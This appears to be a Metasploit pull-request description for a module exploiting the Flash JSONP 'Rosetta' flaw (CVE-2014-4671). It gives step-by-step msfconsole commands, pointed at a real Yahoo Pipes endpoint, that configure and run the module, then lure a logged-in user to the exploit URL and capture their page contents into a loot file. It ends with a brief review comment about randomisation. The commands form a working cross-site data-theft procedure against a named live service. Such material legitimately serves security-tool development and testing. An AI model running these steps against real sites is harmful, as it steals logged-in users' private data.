CVE-2014-4671 Flash JSONP Disclosure

This module automates the detection and exfiltration of data using the Flash JSONP "Rosetta" exploit described [here](http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/).

##### Verification

Yahoo is vulnerable to this, so I used their Pipes JSONP endpoint to test. The URL I stole was "http://pipes.yahoo.com", which contained my username when I was logged in.

- [x] Configure the module

        msf> use auxiliary/gather/flash_rosetta_jsonp_url_disclosure
        msf> set JSONP_URL http://pipes.yahoo.com/pipes/pipe.run?_id=e176c4da7ae8574bfa5c452f9bb0da92&_render=json&limit=10&term=blah
        msf> set STEAL_URLS http://pipes.yahoo.com/
        msf> set CALLBACK _callback

- [x] Ensure `check` command works and the endpoint is vulnerable:

        msf> check
        [+]  - The target is vulnerable.

- [x] Run the module

        msf> run

- [x] Install a version of Flash from [here](http://helpx.adobe.com/flash-player/kb/archived-flash-player-versions.html) that was released prior to July 2014.

- [x] Log into http://pipes.yahoo.com with a yahoo account

- [x] Browse to the exploit URL

- [ ] You should see the following in the console:

        [+] 13490 bytes captured from target 172.16.10.39 on URL:
        http://pipes.yahoo.com/
        [+] Stored in /Users/joe/.msf4/loot/blah

- [ ] Grep for your yahoo username in the loot file, it should be there.

I don't think an ivar is necessary here unless you really need to preserve the test string after randomization. IMHO, you should randomize as many things as possible as often as possible. Thoughts?